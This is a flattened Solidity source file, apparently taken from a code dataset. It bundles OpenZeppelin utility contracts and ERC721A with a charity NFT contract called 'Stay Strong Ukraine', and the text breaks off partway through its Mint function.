file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
// SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/StaystrongukraineNFT/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), 'ERC721A: global index out of bounds'); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), 'ERC721A: owner index out of bounds'); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert('ERC721A: unable to get token of owner by index'); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), 'ERC721A: balance query for the zero address'); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), 'ERC721A: number minted query for the zero address'); return uint256(_addressData[owner].numberMinted); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), 'ERC721A: owner query for nonexistent token'); unchecked { for (uint256 curr = tokenId; curr >= 0; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } revert('ERC721A: unable to determine the owner of token'); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, 'ERC721A: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721A: approve caller is not owner nor approved for all' ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), 'ERC721A: approved query for nonexistent token'); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), 'ERC721A: approve to caller'); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = currentIndex; require(to != address(0), 'ERC721A: mint to the zero address'); require(quantity != 0, 'ERC721A: quantity must be greater than 0'); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1 unchecked { _addressData[to].balance += uint128(quantity); _addressData[to].numberMinted += uint128(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe) { require( _checkOnERC721Received(address(0), to, updatedIndex, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } updatedIndex++; } currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved'); require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner'); require(to != address(0), 'ERC721A: transfer to the zero address'); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721A: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts/StaystrongukraineNFT/StaystrongukraineNFT.sol pragma solidity ^0.8.2; contract StaystrongukraineNFT is ERC721A, Pausable, Ownable { using Counters for Counters.Counter; //uint256 internal MaxMintedtokenId = 0; uint256 public mintPrice = 0.01 ether; uint256 public TotalEarnedForUkraine = 0; string public _baseURIAddress= "http://23.254.217.117:5555/StayStrongUkraine/DefaultFile.json"; address public immutable _wallet = 0x165CD37b4C644C2921454429E7F9358d18A45e14; bool public _AutoWithdraw = true; mapping(uint256 => string) public tokenURIAdress; mapping(uint256 => string) public URIID; uint256 public URIIDCount = 0; string private _name; string private _symbol; // Called when new token are issued event Minted(address _to, uint amount); constructor( ) ERC721A("Stay Strong Ukraine", "Stay Strong Ukraine") { _symbol = "Stay Strong Ukraine"; _name ="Stay Strong Ukraine"; } /** * @return the name of the token. */ function name() public override view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { return _symbol; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIAddress; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return tokenURIAdress[tokenId]; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function Mint(address _to, uint256 _count, string memory URI) private whenNotPaused { require(msg.value >= (_count * mintPrice), "Not enough ethers to buy"); AutoWithdraw(); uint256 TokenBalanceBeforMint = balanceOf(_to); _safeMint(_to, _count); for (uint256 i = (TokenBalanceBeforMint); i <= (TokenBalanceBeforMint + _count -1); i++) { uint256 TokenID = tokenOfOwnerByIndex(_to, i); tokenURIAdress[TokenID] = URI; } if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } emit Minted(_to, _count); } function Mint(address _to, uint256 _count) public whenNotPaused payable { Mint(_to, _count, 